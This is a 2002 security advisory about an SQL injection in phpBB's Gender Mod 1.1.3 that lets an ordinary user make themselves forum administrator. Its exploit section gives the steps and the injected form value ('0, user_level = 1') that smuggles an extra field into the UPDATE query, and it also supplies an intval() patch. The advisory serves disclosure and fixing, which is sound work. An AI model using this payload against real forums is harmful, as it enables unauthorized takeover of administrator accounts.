[UNIX] phpBB's Gender Mod Allows Gaining Administrative Privileges

From: support@securiteam.com
Date: 07/29/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Mon, 29 Jul 2002 07:37:29 +0200 (CEST)

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  phpBB's Gender Mod Allows Gaining Administrative Privileges
------------------------------------------------------------------------

SUMMARY

In phpBB with the official
<http://www.phpbb.com/mods/downloads/index.php?t=sub_pages&cat=6> Gender
Mod, there is a vulnerability that allows a normal user set her/himself to
become a forum administrator.

DETAILS

Vulnerable systems:
 * Gender Mod version 1.1.3

Gender Mod is a commonly used modification in official phpBB releases.
Unchecked posted values can add some SQL fields into the UPDATE SQL
command. By assigning the value: 'user_level = 1', a remote attacker can
gain administrative privileges to the forum.

Exploit:
1. Save the User Profile page into your disk to modify it offline.
2. Add the correct full post action address (http://forum.victim.com/...):
< FORM action=http://forum.victim.com/profile.php?sid=>
method=post encType=multipart/form-data>
3. Modify the HTML Form so that the input field "gender" has value like:
< input type=text name=gender value="0, user_level = 1 ">
4. Load this page in the same browser window where the cookie is still
available.

Patch:
File to patch, forumroot/includes/usercp_register.php:
# Patch
#
#-----[ OPEN ]------------------------------------------
#
    forumroot/includes/usercp_register.php

#
#-----[ FIND ]------------------------------------------
#

$gender = ( isset($HTTP_POST_VARS['gender']) ) ? $HTTP_POST_VARS
['gender'] : 0;

#
#-----[ REPLACE AS ]------------------------------------
#

$gender = ( isset($HTTP_POST_VARS['gender']) ) ? intval
($HTTP_POST_VARS['gender']) : 0;

#
#-----[ SAVE/CLOSE/UPLOAD THIS FILE ]-------------------
#
# EoP

ADDITIONAL INFORMATION

The information has been provided by <mailto:trungonly@yahoo.com>
langtuhaohoa caothuvolam.

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DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

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